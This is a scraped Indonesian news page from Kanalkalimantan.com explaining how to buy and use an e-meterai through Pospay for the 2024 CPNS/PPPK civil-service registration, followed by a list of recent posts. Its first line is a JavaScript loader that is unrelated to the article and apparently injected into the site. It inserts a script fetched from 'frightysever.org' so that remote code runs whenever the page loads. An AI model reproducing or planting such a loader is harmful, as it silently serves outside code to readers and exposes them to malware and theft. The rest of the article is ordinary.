(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
NASIONAL

Ini Cara Beli dan Pakai E-Meterai untuk Pendaftaran CPNS 2024


KANALKALIMANTAN.COM – Pendaftaran Calon Pegawai Negeri Sipil (CPNS) 2024 momen sangat dinantikan oleh masyarakat Indonesia. Pemerintah kembali membuka pendaftaran CPNS untuk berbagai posisi di kementerian, lembaga, dan pemerintah daerah.

Pendaftaran CPNS dan Pegawai Pemerintah dengan Perjanjian Kerja (PPPK) sudah resmi dimulai pada 20 Agustus 2024 dan akan berlangsung hingga 6 September 2024.

Tidak hanya lulusan diploma dan sarjana yang bisa mendaftar CPNS 2024, tetapi juga lulusan SMA memiliki kesempatan untuk ikut dalam beberapa formasi yang tersedia. Ada 600.000 formasi yang tersedia untuk CPNS dan PPPK.

Baca juga: Saksikan Dewa 19, Mahalini, Lesti Kejora, JKT48, hingga Tipe-X dalam Selebrasi Spektakuler RCTI 35

E-Meterai Syarat Wajib Pendaftaran Seleksi CASN 2024

Berbeda dengan tahun-tahun sebelumnya, pelamar masih menggunakan meterai fisik atau meterai tempel. Pada seleksi CASN 2024 memperkenalkan perubahan dengan mewajibkan penggunaan meterai elektronik atau e-meterai.

E-meterai adalah inovasi digital yang berfungsi sebagai pengganti meterai fisik. Fungsinya tetap sama, yaitu untuk memberikan keabsahan hukum pada dokumen yang diperlukan dalam proses pendaftaran.

Namun, tidak seperti meterai fisik yang berbentuk stiker dan ditempelkan secara manual pada dokumen, e-meterai hadir dalam bentuk digital dan dapat langsung ditempelkan pada dokumen elektronik melalui platform online, nilai meterainya pun sama dengan versi fisik, yakni Rp 10.000. Penggunaan e-meterai ini tidak hanya memudahkan proses pendaftaran, tetapi juga memberikan tingkat keamanan yang lebih tinggi serta mengurangi risiko pemalsuan dokumen.

Baca juga: Stakeholders Engagement PLN ULP Banjarbaru ke Pj Sekda Banjarbaru

Cara Membeli E-Meterai di Pospay

Berikut adalah langkah-langkah untuk membeli e-meterai di Pospay:

1. Pada halaman utama, pilih ikon Meterai.

2. Pilih menu “Beli E-Meterai.”

3. Klik “Isi Ulang” dan masukkan jumlah e-meterai yang ingin dibeli.

4. Lanjutkan ke proses pembayaran.

5. Periksa rincian pembayaran, kemudian klik “Lanjutkan.”

6. Status riwayat pembelian akan berubah dari “Unpaid” menjadi “Paid.”. (Kanalkalimantan.com /Beritasatu.com/kk)

Editor: kk


Muhammad Andi

Recent Posts

Pemkab Banjar Raih Penghargaan sebagai Penyelenggara Pemerintahan Daerah dengan Kinerja Tinggi

KANALKALIMANTAN.COM, JAKARTA - Prestasi demi prestasi ditorehkan Pemkab Banjar di bawah kepemimpinan H Saidi Mansyur… Read More

54 menit ago

TOP 10 MasterChef Indonesia Season 12 Siap Menghadirkan Tantangan Para Kontestan!

KANALKALIMANTAN.COM - Di Minggu ini, kita akan bertemu kembali dengan 10 besar kontestan MasterChef Indonesia… Read More

2 jam ago

Pansus III DPRD Kotabaru Pelajari Tata Kelola Air Tangerang

KANALKALIMANTAN.COM, KOTABARU - Dalam rangka pembahasan Rancangan Peraturan Daerah (Raperda) tentang Pengelolaan Sumber Daya Air,… Read More

16 jam ago

Kuasa Hukum Keluarga Juwita Siap Tambah Barang Bukti dan Saksi

KANALKALIMANTAN.COM, BANJARBARU - Tim kuasa hukum keluarga Juwita berencana menambah barang bukti dan saksi tambahan… Read More

17 jam ago

Peringati Hari Malaria Sedunia, Ini Pesan Wabup Banjar

KANALKALIMANTAN.COM, MARTAPURA - Wakil Bupati Banjar Habib Idrus Al Habsyi membuka pertemuan koordinasi lintas sektor… Read More

18 jam ago

Tim Kuasa Hukum Keluarga Juwita Soroti Dua Pasal Dakwaan

KANALKALIMANTAN.COM, BANJARBARU - Advokasi Untuk Keadilan (AUK) Juwita mendampingi pihak keluarga menghadiri proses pelimpahan perkara… Read More

23 jam ago